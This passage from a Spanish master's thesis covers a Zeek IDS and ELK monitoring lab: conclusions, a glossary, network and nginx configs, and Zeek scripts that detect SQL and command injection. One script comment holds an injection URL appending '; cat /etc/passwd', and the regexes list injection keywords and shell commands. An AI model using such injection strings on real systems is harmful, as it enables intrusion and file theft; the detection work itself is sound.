máquinas unos recursos hardware justos, se reducen notablemente los costes de la 

implementación del sistema. 

Una vez desarrollada la solución ha quedado un sistema de monitorización de seguridad 

completamente funcional, el cual, se ha explotado llevando a cabo ataques web, desde 

un sistema operativo pensado para realizar pruebas de hacking ético, a un servidor web 

vulnerable. Para la detección de los ataques web más comunes se han desarrollado 

nuevas firmas de Zeek y se ha verificado posteriormente su correcto funcionamiento, 

junto con todo su potencial. Es en este punto donde cabe destacar la elección del 

software Zeek ya que, como se ha comprobado, ofrece una solución muy escalable y 

personalizable para detectar anomalías en el tráfico red. Por todo ello, se recomienda 

para el uso de medianas y pequeñas empresas ya que tiene la capacidad de trabajar en 

cluster y así procesar más volumen de tráfico, y no solo en standalone como se ha fijado 

en este laboratorio. 

También cabe destacar el papel que desarrolla ELK en esta solución propuesta. Gran 

parte del éxito de dicha solución de seguridad recae sobre el uso de distintos 

componentes del stack Elastic. En primer lugar cabe destacar la potencia de indexación 

de eventos de Elasticsearch, al cual, se le enviaban datos de diferentes agentes. 

También es de notar la importancia de Kibana a la hora de mostrar la interfaz para 

realizar búsquedas de eventos con una gran cantidad de filtros y visualizaciones 

disponibles. Éstas últimas, se han empleado para el desarrollo de dos dashboards 

donde quedaría reflejado las principales funciones de cada componente en esta solución 

y además servirían de mucha ayuda a un analista de seguridad en la fase de detección 

de un posible incidente. Aparte de los principales componentes del stack Elastic, como 

una innovación al proyecto no contemplada en los objetivos específicos iniciales, se han 

empleado dos agentes ligeros, los cuales, han permitido extraer más información de 

métricas y de auditoría del servidor crítico de esta solución, el servidor web. Además, 

hay que destacar el alcance de esta solución ya que dispone de módulos para realizar 

integraciones con herramientas de terceros, como en este caso se ha utilizado un 

módulo de Zeek para poder combinarlas. 
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4.2.- Consecución objetivos planteados inicialmente 
 

Cabe destacar que con el desarrollo completo de este TFM se han conseguido superar 

todos los objetivos principales fijados en un primer momento, y definidos en el capítulo 

1 apartado 2 de esta memoria. 

Se pasa a continuación a comentar los aspectos más relevantes para cada objetivo 

específico definido: 

• Conocimiento de la tecnología IDS (Intrusion Detection System), en 

especial Zeek IDS, y su despliegue. 

Para este objetivo específico cabe destacar que se ha llevado un estudio 

de los distintos tipos de sistemas IDS disponibles en la actualidad, de los 

que se han expuesto las ventajas y desventajas de cada uno de ellos.  

En cuanto a Zeek, se ha llevado un estudio inicial de la solución, la cual, 

posteriormente en el desarrollo del trabajo ha sido ampliada y ha ido 

cubriendo objetivos más específicos. 

• Conocimiento de la tecnología SIEM (Security Information and Event 

Management), en especial ELK, y su posterior despliegue. 

De la misma manera que en el objetivo anterior, se ha llevado un estudio 

de la tecnología SIEM, en general, y posteriormente se ha centrado en el 

estudio del stack ELK, nombrando sus principales componentes. 

Cabe destacar que tanto para la tecnología IDS, y en especial SIEM, 

cada sistema tiene una arquitectura diferente por lo que se ha nombrado 

de forma general, no yendo a bajo nivel para cada fabricante. 

Como punto de mejora en este objetivo hubiera sido un estudio en 

profundidad de las mejoras de ELK contra otras soluciones SIEM de la 

actualidad. 

• Conocimiento de diferentes ataques informáticos y describir su riesgo ante 

una organización. 

Para llevar a cabo la consecución de este objetivo se ha realizado un 

estudio de los principales ataques web más comunes en la actualidad y 

todas sus variantes, con la finalidad de definir unas expresiones regulares 

(firmas de detección) en Zeek que sean lo más consistentes posible y 

reporten el menor número de falsos positivos posibles. 

• Capacidad de realización de ataques informáticos en un escenario de 

seguridad. 

Mediante el uso del sistema operativo Kali Linux, se han utilizado 

diferentes herramientas de hacking ético que trae por defecto para 

realizar los diferentes ataques al servidor web. Hay que destacar que no 

todos ellos se han realizado empleado herramientas automáticas de esta 

distribución, sino que se han realizado de manera manual. 

• Analizar eventos de seguridad, logs, producidos por distintos sistemas de 

seguridad. 

Se ha llevado a cabo un análisis de los diferentes logs de seguridad 

generados por Zeek IDS, lo que ha permitido seleccionar los más 

relevantes para esta solución e integrarlos con ELK para su 

almacenamiento y visualización. 
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• Creación de reglas de detección de intrusiones web en Zeek IDS. 

Para construir las diferentes firmas de detección en Zeek para los 

ataques web más comunes, se han estudiado todas sus variantes y 

diferentes formas de bypasear la seguridad para tener el mayor número 

de casos cubierto, teniendo un balance con el número de falsos positivos 

que se ha conseguido reducir al mínimo, ya que, se ha realizado 

navegación de un usuario legítimo por la web y no han saltado firmas, es 

decir, no ha habido falsos positivos. 

Comentar en este punto que existen muchas maneras de bypasear 

dichas firmas de detección. Por lo tanto, una línea de trabajo futura podría 

ser reajustar las firmas de detección propuestas para evitar ciertos 

bypass que no se hayan contemplado en esta solución. 

• Capacidad de proyectar en un informe ejecutivo un resumen de un ataque 

informático extrayendo los valores más relevantes. 

Se han realizado dos dashboards de monitorización, uno de seguridad 

con los eventos de Zeek y otro de salud, con eventos de métricas y 

auditoría del servidor web. Para ello se han seleccionado algunas 

visualizaciones por defecto de Kibana junto con otras que han sido 

personalizadas para esta solución. 

Cabe comentar que se han incluido diferentes innovaciones al proyecto, no 

contempladas en estos objetivos específicos, como por ejemplo, el uso de diferentes 

agentes del stack ELK para la monitorización de salud y auditoría del servidor web. 

 

4.3.- Análisis crítico del seguimiento de la planificación 
 

El desarrollo completo de este trabajo de fin de máster pudo realizarse en base a la 

planificación y cumplir con los tiempos y entregas establecidas. 

Cabe comentar que pese a que se han realizado integraciones no previstas inicialmente, 

como el caso de los agentes de monitorización Metricbeat y Auditbeat, se ha podido 

seguir la planificación gracias a los periodos de contingencia que se han fijado en cada 

fase. 

Por lo tanto, cabe concluir que las fases del proyecto fueron adecuadas y sobre todo, 

fue una clave para el correcto cumplimiento de este, la separación de la fase de 

desarrollo en dos, fase de provisión y fase de explotación. Esto es debido a que en la 

fase de provisión se montaron todas las máquinas y software que forman la solución y 

pasaron de una forma preparada y ordenada a la fase de explotación en la que 

únicamente hubo que centrarse en el desarrollo de nuevas firmas y pruebas de estas. 

Otro factor muy importante que ha influido durante este trabajo es la comunicación 

constante con el tutor, el cual mediante sus opiniones y puntos de vista de mejora, han 

ayudado a una correcta y óptima ejecución del trabajo. 
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4.4.- Líneas de trabajo futuro 
 

A continuación, se pasan a enumerar diferentes líneas de trabajo futuras que traerán 

distintas mejoras a la solución de seguridad desarrollada: 

 

- Realizar comparativa de las diferentes soluciones actuales de IDS frente a Zeek 

y de los SIEMs contra ELK. 

 

- Optimización y mejora de las diferentes firmas personalizadas desarrolladas 

para la detección de los diferentes ataques web con todas sus variaciones: XSS, 

RFI, CMDi y SQLi. 

 

- Implementar el uso de comunicaciones cifradas entre los diferentes 

componentes del stack ELK. Para ello se podría usar un plugin llamado X-Pack, 

el cual, permitirá cifrar dichas comunicaciones entre componentes. 

 

- Integración de la aplicación web vulnerable con una solución WAF OpenSource 

y su integración posterior con Zeek y ELK con la finalidad de poder realizar 

bloqueos de peticiones o direcciones IPs no legítimas. 

 

- Ampliar las funcionalidades de ELK, como por ejemplo detección de anomalías 

de tráfico en base a técnicas de machine learning. De esta manera de realizarían 

nuevas detecciones de las que Zeek no es capaz de detectar. 

 

- Instalación de ELK en Docker con la finalidad de ser una solución más escalable 

y portable a nuevas organizaciones. 

 

- Explotación más avanzada de las distintas visualizaciones de Kibana para 

mostrar gráficos más complejos y que sirvan de utilidad al analista de seguridad. 

 

- Utilización de más agentes de monitorización con la finalidad de sacar más 

información relevante de los distintos equipos que forman esta solución pasiva 

de seguridad. 
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5.- Glosario 
 

- Agente – Pieza software cuya principal función es realizar una monitorización 

local y recoger métricas del sistema. 

 

- Anomalía – Evento de un sistema o red que se considera fuera de lo definido 

como acción legítima. 

 

- API – Conjunto de definiciones que se utilizan para desarrollar e integrar el 

software de las aplicaciones. 

 

- Firewall – Dispositivo hardware o software que permite el filtrado de tráfico 

entrante y saliente en un dispositivo. 

 

- GitHub – Es un sistema de control de versiones donde se alojan multitud de 

proyectos. 

 

- Hash – Es una función que tiene como principal objetivo relacionar un bloque de 

datos de entrada a cadenas de bits de longitud fija y única. 

 

- HTTP – Protocolo de comunicación que facilita las transferencias e información 

en internet. 

 

- HIDS – Sistema de detección de intrusiones basado en Host. 

 

- IDS – Sistema de detección de intrusiones mediante captura y análisis de tráfico 

de red. 

 

- Incidente de seguridad – Violación a la política de seguridad de la información 

de una determinada entidad. 

 

- Índice (Elasticsearch) – Espacio de nombres lógico donde se almacena 

información. 

 

- Inyección de SQL – Infiltración de código SQL no legítimo en aplicaciones web 

con la finalidad de extraer/modificar información de la base de datos del back-

end. 

 

- IP – Conjunto de números que identifica una interfaz de red. Capa de red del 

modelo OSI. 

 

- IPS – Sistema de prevención de intrusiones. 

 

- JSON – Es un tipo de texto con un formato sencillo generalmente utilizado para 

el intercambio de datos. 
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- LAN – Es una red de área local de área reducida. 

 

- Log – Registro de evento de un sistema informático. 

 

- Malware – Software malicioso que pretende infectar un dispositivo electrónico 

para llevar a cabo acciones no legítimas. 

 

- Métricas – Mediciones utilizadas para evaluar y analizar el rendimiento de un 

sistema. 

 

- NIDS – Sistema de detección de intrusiones basado en red. 

 

- Open Source – Código diseñado de manera que sea accesible al público de 

manera abierta. 

 

- SIEM – Solución unificada para recopilar eventos y alertas de seguridad de 

diferentes tecnologías. 

 

- Sniffer de red – Herramienta que se encarga de realizar la captura de diferentes 

paquetes que se encuentran en circulación a través de una determinada red 

informática. 

 

- URL – Es la dirección específica que se asigna a cada uno de los recursos 

disponibles en la red. 

 

- Vulnerabilidad – Agujero de seguridad en un sistema de información que puede 

ser explotado o accionado por una amenaza informática. 

 

- WAF – Firewall diseñado para inspeccionar tráfico en capa 7 del modelo OSI 

para la protección de páginas web. 
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7.- Anexos 
 

Anexo I. Configuración de red de las diferentes máquinas. 
 

- tfm-webserver 

o netplan 

root@tfm-webserver:/home/webserver# cat /etc/netplan/50-cloud-

init.yaml  

# This file is generated from information provided by the 

datasource.  Changes 

# to it will not persist across an instance reboot.  To disable 

cloud-init's 

# network configuration capabilities, write a file 

# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the 

following: 

# network: {config: disabled} 

network: 

    ethernets: 

        enp0s3: 

            dhcp4: no 

            addresses: [172.18.100.10/24] 

            gateway4: 172.18.100.1 

            nameservers: 

                    addresses: [8.8.8.8,8.8.4.4] 

 

    version: 2 

    renderer: networkd 

 

o ifconfig 

root@tfm-webserver:/home/webserver# ifconfig 

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500 

        inet 172.18.100.10  netmask 255.255.255.0  broadcast 

172.18.100.255 

        inet6 fe80::a00:27ff:fe75:81d  prefixlen 64  scopeid 

0x20<link> 

        ether 08:00:27:75:08:1d  txqueuelen 1000  (Ethernet) 

        RX packets 835  bytes 889386 (889.3 KB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 526  bytes 52327 (52.3 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 

 

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536 

        inet 127.0.0.1  netmask 255.0.0.0 

        inet6 ::1  prefixlen 128  scopeid 0x10<host> 

        loop  txqueuelen 1000  (Local Loopback) 

        RX packets 774  bytes 470092 (470.0 KB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 774  bytes 470092 (470.0 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 
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o route 

root@tfm-webserver:/home/webserver# route 

Kernel IP routing table 

Destination     Gateway         Genmask         Flags Metric Ref    

Use Iface 

default         _gateway        0.0.0.0         UG    0      0        

0 enp0s3 

172.18.100.0    0.0.0.0         255.255.255.0   U     0      0        

0 enp0s3 

 

- tfm-ids 

o /etc/network/interfaces 

root@tfm-ids:~# cat /etc/network/interfaces 

# This file describes the network interfaces available on your 

system 

# and how to activate them. For more information, see 

interfaces(5). 

 

source /etc/network/interfaces.d/* 

 

# The loopback network interface 

auto lo 

iface lo inet loopback 

 

# The primary network interface 

allow-hotplug enp0s3 

#iface enp0s3 inet dhcp 

iface enp0s3 inet static 

address 172.18.100.11 

netmask 255.255.255.0 

gateway 172.18.100.1 

network 172.18.100.0 

broadcast 172.18.100.254 

dns-nameserver 80.58.61.250 80.58.61.254 

 

o ip a 

root@tfm-ids:~# ip a 

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state 

UNKNOWN group default qlen 1000 

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 

    inet 127.0.0.1/8 scope host lo 

       valid_lft forever preferred_lft forever 

    inet6 ::1/128 scope host  

       valid_lft forever preferred_lft forever 

2: enp0s3: <BROADCAST,MULTICAST,PROMISC,UP,LOWER_UP> mtu 1500 

qdisc pfifo_fast state UP group default qlen 1000 

    link/ether 08:00:27:07:72:71 brd ff:ff:ff:ff:ff:ff 

    inet 172.18.100.11/24 brd 172.18.100.254 scope global enp0s3 

       valid_lft forever preferred_lft forever 

    inet6 fe80::a00:27ff:fe07:7271/64 scope link  

       valid_lft forever preferred_lft forever 

 

o route 

root@tfm-ids:~# ip route 

default via 172.18.100.1 dev enp0s3 onlink  
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169.254.0.0/16 dev enp0s3 scope link metric 1000  

172.18.100.0/24 dev enp0s3 proto kernel scope link src 

172.18.100.11 

 

- tfm-elk 

o netplan 

root@tfm-elk:/home/userelk# cat /etc/netplan/50-cloud-init.yaml  

# This file is generated from information provided by the 

datasource.  Changes 

# to it will not persist across an instance reboot.  To disable 

cloud-init's 

# network configuration capabilities, write a file 

# /etc/cloud/cloud.cfg.d/99-disable-network-config.cfg with the 

following: 

# network: {config: disabled} 

network: 

    ethernets: 

        enp0s3: 

            dhcp4: no 

            addresses: [172.18.100.12/24] 

            gateway4: 172.18.100.1 

            nameservers: 

                    addresses: [8.8.8.8,8.8.4.4] 

    version: 2 

    renderer: networkd 

 

o ifconfig 

root@tfm-elk:/home/userelk# ifconfig 

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500 

        inet 172.18.100.12  netmask 255.255.255.0  broadcast 

172.18.100.255 

        inet6 fe80::a00:27ff:feea:19d2  prefixlen 64  scopeid 

0x20<link> 

        ether 08:00:27:ea:19:d2  txqueuelen 1000  (Ethernet) 

        RX packets 612  bytes 623716 (623.7 KB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 316  bytes 36097 (36.0 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 

 

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536 

        inet 127.0.0.1  netmask 255.0.0.0 

        inet6 ::1  prefixlen 128  scopeid 0x10<host> 

        loop  txqueuelen 1000  (Local Loopback) 

        RX packets 182  bytes 13832 (13.8 KB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 182  bytes 13832 (13.8 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 

 

o route 

root@tfm-elk:/home/userelk# route 

Kernel IP routing table 

Destination     Gateway         Genmask         Flags Metric Ref    

Use Iface 
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default         _gateway        0.0.0.0         UG    0      0        

0 enp0s3 

172.18.100.0    0.0.0.0         255.255.255.0   U     0      0        

0 enp0s3 

 

- tfm-legitimeuser 

o Configuración de red IPv4 

 

Ilustración 48 - Configuración de red tfm-legitimeuser 

o ifconfig 

roberto@tfm-legitimeuser:~$ ifconfig 

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500 

        inet 172.18.100.20  netmask 255.255.255.0  broadcast 

172.18.100.255 

        inet6 fe80::b536:73e9:a04f:ef8e  prefixlen 64  scopeid 

0x20<link> 

        ether 08:00:27:91:58:09  txqueuelen 1000  (Ethernet) 

        RX packets 1342  bytes 1813828 (1.8 MB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 789  bytes 71160 (71.1 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 

 

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536 

        inet 127.0.0.1  netmask 255.0.0.0 

        inet6 ::1  prefixlen 128  scopeid 0x10<host> 

        loop  txqueuelen 1000  (Bucle local) 

        RX packets 99  bytes 8711 (8.7 KB) 

        RX errors 0  dropped 0  overruns 0  frame 0 

        TX packets 99  bytes 8711 (8.7 KB) 

        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 

0 

 

o route 

roberto@tfm-legitimeuser:~$ route 

Tabla de rutas IP del núcleo 
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Destino         Pasarela        Genmask         Indic Métric Ref    

Uso Interfaz 

default         _gateway        0.0.0.0         UG    100    0        

0 enp0s3 

link-local      0.0.0.0         255.255.0.0     U     1000   0        

0 enp0s3 

172.18.100.0    0.0.0.0         255.255.255.0   U     100    0        

0 enp0s3 

 

- tfm-malicioususer 

o Configuración de red IPv4 

 

Ilustración 49 - Configuración de red tfm-malicioususer 

o ip a 

root@tfm-malicioususer:~# ip a 

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state 

UNKNOWN group default qlen 1000 

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 

    inet 127.0.0.1/8 scope host lo 

       valid_lft forever preferred_lft forever 

    inet6 ::1/128 scope host  

       valid_lft forever preferred_lft forever 

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc 

pfifo_fast state UP group default qlen 1000 

    link/ether 08:00:27:05:b6:a0 brd ff:ff:ff:ff:ff:ff 

    inet 172.18.100.21/24 brd 172.18.100.255 scope global 

noprefixroute eth0 

       valid_lft forever preferred_lft forever 

    inet6 fe80::a00:27ff:fe05:b6a0/64 scope link noprefixroute  

       valid_lft forever preferred_lft forever 

 

o route 

root@tfm-malicioususer:~# route 

Kernel IP routing table 
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Destination     Gateway         Genmask         Flags Metric Ref    

Use Iface 

default         _gateway        0.0.0.0         UG    100    0        

0 eth0 

172.18.100.0    0.0.0.0         255.255.255.0   U     100    0        

0 eth0 
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Anexo II. Instalaciones. 
 

1.- Contenido fichero /etc/nginx/sites-available/tfmkibana 
server { 

    listen 80; 

    server_name tfmkibana.com; 

 

    auth_basic "Restricted Access"; 

    auth_basic_user_file /etc/nginx/htpasswd.users; 

 

    location / { 

        proxy_pass http://localhost:5601; 

        proxy_http_version 1.1; 

        proxy_set_header Upgrade $http_upgrade; 

        proxy_set_header Connection 'upgrade'; 

        proxy_set_header Host $host; 

        proxy_cache_bypass $http_upgrade;         

    } 

} 

 

 

2.- Salida ejecución comando “curl -X GET 

http://172.18.100.12:9200/filebeat*/_search?pretty” para verificar envio desde 

Filbeat a Elasticsearch: 
root@tfm-ids:~# curl -X GET 

http://172.18.100.12:9200/filebeat*/_search?pretty 

{ 

  "took" : 2, 

  "timed_out" : false, 

  "_shards" : { 

    "total" : 1, 

    "successful" : 1, 

    "skipped" : 0, 

    "failed" : 0 

  }, 

  "hits" : { 

    "total" : { 

      "value" : 191, 

      "relation" : "eq" 

    }, 

    "max_score" : 1.0, 

    "hits" : [ 

      { 

        "_index" : "filebeat-7.6.1-2020.03.17-000001", 

        "_type" : "_doc", 

        "_id" : "nZhg6HABz8B7I5BHimXx", 

        "_score" : 1.0, 

        "_source" : { 

          "agent" : { 

            "hostname" : "tfm-ids", 

            "id" : "43060aef-dcee-4ff6-840d-d7167b249b4e", 

            "type" : "filebeat", 

            "ephemeral_id" : "df9274b7-6b51-4b09-913f-

074fc4deb440", 

            "version" : "7.6.1" 

          }, 
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          "temp" : { }, 

          "log" : { 

            "file" : { 

              "path" : "/usr/local/zeek/logs/current/conn.log" 

            }, 

            "offset" : 23178 

          }, 

          "destination" : { 

            "geo" : { 

              "continent_name" : "North America", 

              "country_iso_code" : "US", 

              "location" : { 

                "lon" : -97.822, 

                "lat" : 37.751 

              } 

            }, 

            "as" : { 

              "number" : 15169, 

              "organization" : { 

                "name" : "Google LLC" 

              } 

            }, 

            "address" : "8.8.8.8", 

            "port" : 53, 

            "bytes" : 110, 

            "ip" : "8.8.8.8", 

            "packets" : 1 

          }, 

          "zeek" : { 

            "session_id" : "CqJqTw4t0atssnzkTj", 

            "connection" : { 

              "local_resp" : false, 

              "local_orig" : true, 

              "history" : "Dd", 

              "missed_bytes" : 0, 

              "state" : "SF", 

              "state_message" : "Normal establishment and 

termination." 

            } 

 ... 

 

3.- Verificación índice Filebeat-* 
 

root@tfm-ids:~# curl -X GET 

http://172.18.100.12:9200/_cat/indices?v 

health status index                            uuid                   

pri rep docs.count docs.deleted store.size pri.store.size 

green  open   .kibana_task_manager_1           N-

fNf7vrRiq4jNUykGHzwg   1   0          2            0      6.6kb          

6.6kb 

green  open   ilm-history-1-000001             H7fzlvk7Rz2AHyc-

rbTroQ   1   0         18            0     25.3kb         25.3kb 

green  open   .apm-agent-configuration         3S3MH33-Qz-

p54CdZbuIdg   1   0          0            0       283b           

283b 

yellow open   filebeat-7.6.1-2020.03.17-000001 

IR3VD0heQvGoUXYSWMUFCQ   1   1        191            0    

242.3kb        242.3kb 
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green  open   .kibana_1                        MyeMAXZKSv2VJH-

CwbarxA   1   0       1327            6    799.8kb        

799.8kb 

 

Esta última comprobación también se puede realizar desde la interfaz web de Kibana, 

donde también aparece el índice creado. Si se hace click sobre él se podrán ver los 

campos del índice: 

 

Ilustración 50 - Visualización índice filebeat-* 
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Anexo III. Scripts de Zeek IDS 
 

1.- detect-sqli.zeek 
##! SQL injection attack detection in HTTP. 

 

@load base/frameworks/notice 

@load base/frameworks/sumstats 

@load base/protocols/http 

 

module HTTP; 

 

export { 

 redef enum Notice::Type += { 

  ## Indicates that a host performing SQL injection attacks was 

  ## detected. 

  SQL_Injection_Attacker, 

  ## Indicates that a host was seen to have SQL injection attacks 

  ## against it.  This is tracked by IP address as opposed to 

  ## hostname. 

  SQL_Injection_Victim, 

 }; 

 

 redef enum Tags += { 

  ## Indicator of a URI based SQL injection attack. 

  URI_SQLI, 

  ## Indicator of client body based SQL injection attack.  This is 

  ## typically the body content of a POST request. Not implemented 

  ## yet. 

  POST_SQLI, 

  ## Indicator of a cookie based SQL injection attack. Not 

  ## implemented yet. 

  COOKIE_SQLI, 

 }; 

 

 ## Defines the threshold that determines if an SQL injection attack 

 ## is ongoing based on the number of requests that appear to be SQL 

 ## injection attacks. 

 const sqli_requests_threshold: double = 50.0 &redef; 

 

 ## Interval at which to watch for the 

 ## :zeek:id:`HTTP::sqli_requests_threshold` variable to be crossed. 

 ## At the end of each interval the counter is reset. 

 const sqli_requests_interval = 5min &redef; 

 

 ## Collecting samples will add extra data to notice emails 

 ## by collecting some sample SQL injection url paths.  Disable 

 ## sample collection by setting this value to 0. 

 const collect_SQLi_samples = 5 &redef; 

 

 ## Regular expression is used to match URI based SQL injections. 

 const match_sql_injection_uri = 

    /[\?&][^[:blank:]\x00-\x37\|]+?=[\-[:alnum:]%]+([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]?([[:blank:]\x00-

\x37]|\/\*.*?\*\/|\)?;)+.*?([hH][aA][vV][iI][nN][gG]|[uU][nN][iI][oO][nN]|[

eE][xX][eE][cC]|[sS][eE][lL][eE][cC][tT]|[dD][eE][lL][eE][tT][eE]|[dD][rR][

oO][pP]|[dD][eE][cC][lL][aA][rR][eE]|[cC][rR][eE][aA][tT][eE]|[iI][nN][sS][

eE][rR][tT])([[:blank:]\x00-\x37]|\/\*.*?\*\/)+/ 

  | /[\?&][^[:blank:]\x00-\x37\|]+?=[\-0-9%]+([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]?([[:blank:]\x00-
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\x37]|\/\*.*?\*\/|\)?;)+([xX]?[oO][rR]|[nN]?[aA][nN][dD])([[:blank:]\x00-

\x37]|\/\*.*?\*\/)+['"]?(([^a-zA-Z&]+)?=|[eE][xX][iI][sS][tT][sS])/ 

  | /[\?&][^[:blank:]\x00-\x37]+?=[\-0-9%]*([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]([[:blank:]\x00-\x37]|\/\*.*?\*\/)*(-

|=|\+|\|\|)([[:blank:]\x00-\x37]|\/\*.*?\*\/)*([0-

9]|\(?[cC][oO][nN][vV][eE][rR][tT]|[cC][aA][sS][tT])/ 

  | /[\?&][^[:blank:]\x00-\x37\|]+?=([[:blank:]\x00-

\x37]|\/\*.*?\*\/)*['"]([[:blank:]\x00-

\x37]|\/\*.*?\*\/|;)*([xX]?[oO][rR]|[nN]?[aA][nN][dD]|[hH][aA][vV][iI][nN][

gG]|[uU][nN][iI][oO][nN]|[eE][xX][eE][cC]|[sS][eE][lL][eE][cC][tT]|[dD][eE]

[lL][eE][tT][eE]|[dD][rR][oO][pP]|[dD][eE][cC][lL][aA][rR][eE]|[cC][rR][eE]

[aA][tT][eE]|[rR][eE][gG][eE][xX][pP]|[iI][nN][sS][eE][rR][tT])([[:blank:]\

x00-\x37]|\/\*.*?\*\/|[\[(])+[a-zA-Z&]{2,}/ 

  | /[\?&][^[:blank:]\x00-

\x37]+?=[^\.]*?([cC][hH][aA][rR]|[aA][sS][cC][iI][iI]|[sS][uU][bB][sS][tT][

rR][iI][nN][gG]|[tT][rR][uU][nN][cC][aA][tT][eE]|[vV][eE][rR][sS][iI][oO][n

N]|[lL][eE][nN][gG][tT][hH])\(/ 

  | /\/\*![[:digit:]]{5}.*?\*\// &redef; 

 

 ## A hook that can be used to prevent specific requests from being counted 

 ## as an injection attempt.  Use a 'break' statement to exit the hook 

 ## early and ignore the request. 

 global HTTP::sqli_policy: hook(c: connection, method: string, 

unescaped_URI: string); 

} 

 

function format_sqli_samples(samples: vector of SumStats::Observation): 

string 

 { 

 local ret = "SQL Injection samples\n---------------------"; 

 for ( i in samples ) 

  ret += "\n" + samples[i]$str; 

 return ret; 

 } 

 

event zeek_init() &priority=3 

 { 

 # Add filters to the metrics so that the metrics framework knows how to 

 # determine when it looks like an actual attack and how to respond when 

 # thresholds are crossed. 

 local r1: SumStats::Reducer = [$stream="http.sqli.attacker", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_SQLi_samples]; 

 SumStats::create([$name="detect-sqli-attackers", 

    $epoch=sqli_requests_interval, 

    $reducers=set(r1), 

    $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

   { 

   return result["http.sqli.attacker"]$sum; 

   }, 

    $threshold=sqli_requests_threshold, 

    $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

   { 

   local r = result["http.sqli.attacker"]; 

   NOTICE([$note=SQL_Injection_Attacker, 

     $msg="An SQL injection attacker was discovered!", 

    

 $email_body_sections=vector(format_sqli_samples(r$samples)), 

     $src=key$host, 

     $identifier=cat(key$host)]); 

   }]); 
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 local r2: SumStats::Reducer = [$stream="http.sqli.victim", 

$apply=set(SumStats::SUM, SumStats::SAMPLE), 

$num_samples=collect_SQLi_samples]; 

 SumStats::create([$name="detect-sqli-victims", 

    $epoch=sqli_requests_interval, 

    $reducers=set(r2), 

    $threshold_val(key: SumStats::Key, result: SumStats::Result) = 

   { 

   return result["http.sqli.victim"]$sum; 

   }, 

    $threshold=sqli_requests_threshold, 

    $threshold_crossed(key: SumStats::Key, result: SumStats::Result) = 

   { 

   local r = result["http.sqli.victim"]; 

   NOTICE([$note=SQL_Injection_Victim, 

     $msg="An SQL injection victim was discovered!", 

    

 $email_body_sections=vector(format_sqli_samples(r$samples)), 

     $src=key$host, 

     $identifier=cat(key$host)]); 

   }]); 

 } 

 

event http_request(c: connection, method: string, original_URI: string, 

                   unescaped_URI: string, version: string) &priority=3 

 { 

 if ( ! hook HTTP::sqli_policy(c, method, unescaped_URI) ) 

  return; 

 

 if ( match_sql_injection_uri in unescaped_URI ) 

  { 

  add c$http$tags[URI_SQLI]; 

 

  SumStats::observe("http.sqli.attacker", [$host=c$id$orig_h], 

[$str=original_URI]); 

  SumStats::observe("http.sqli.victim",   [$host=c$id$resp_h], 

[$str=original_URI]); 

  } 

 } 

 

 

2.- rcv-detect-cmdi.zeek 
 

##! CMDi attack detection in HTTP. 

 

@load base/frameworks/notice 

@load base/frameworks/sumstats 

@load base/protocols/http 

 

module HTTP; 

 

export { 

 redef enum Notice::Type += { 

  ## Indicates that a host performing SQL injection attacks was 

  ## detected. 

  CMDi_Attacker, 

  ## Indicates that a host was seen to have SQL injection attacks 
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  ## against it.  This is tracked by IP address as opposed to 

  ## hostname. 

  CMDi_Victim, 

 }; 

 

 redef enum Tags += { 

  ## Indicator of a URI based SQL injection attack. 

  URI_CMDi, 

  ## Indicator of client body based SQL injection attack.  This is 

  ## typically the body content of a POST request. Not implemented 

  ## yet. 

  POST_CMDi, 

  ## Indicator of a cookie based SQL injection attack. Not 

  ## implemented yet. 

  COOKIE_CMDi, 

 }; 

 

 ## Defines the threshold that determines if an SQL injection attack 

 ## is ongoing based on the number of requests that appear to be SQL 

 ## injection attacks. 

 const cmdi_requests_threshold: double = 1.0 &redef; 

 

 ## Interval at which to watch for the 

 ## :zeek:id:`HTTP::sqli_requests_threshold` variable to be crossed. 

 ## At the end of each interval the counter is reset. 

 const cmdi_requests_interval = 1min &redef; 

 

 ## Collecting samples will add extra data to notice emails 

 ## by collecting some sample SQL injection url paths.  Disable 

 ## sample collection by setting this value to 0. 

 const collect_cmdi_samples = 0 &redef; 

 

 ## Regular expression is used to match URI based SQL injections. 

 const match_cmdi_uri = 

     

  # Detects : http://172.18.100.10/vulnerabilities/exec/?ip=8.8.8.8; 

cat /etc/passwd&Submit=Submit# 

  /[\?&][^[:blank:]\x00-

\x37\|]+?\=.*(\|{1,2}|\;|\&{2})[[:blank:]+]?(adduser|addgroup|agetty|alias|a

nacron|apropos|apt|apt-

get|aptitude|arch|arp|atrm|awk|batch|basename|bc|bg|bzip|cal|cat|chgrp|chmod

|chown|cksum|clear|cmp|comm|cp|date|dd|df|diff|dir|dmidecode|du|echo|eject|e

nv|exit|expr|factor|find|free|grep|groups|gzip|gunzip|head|history|hostname|

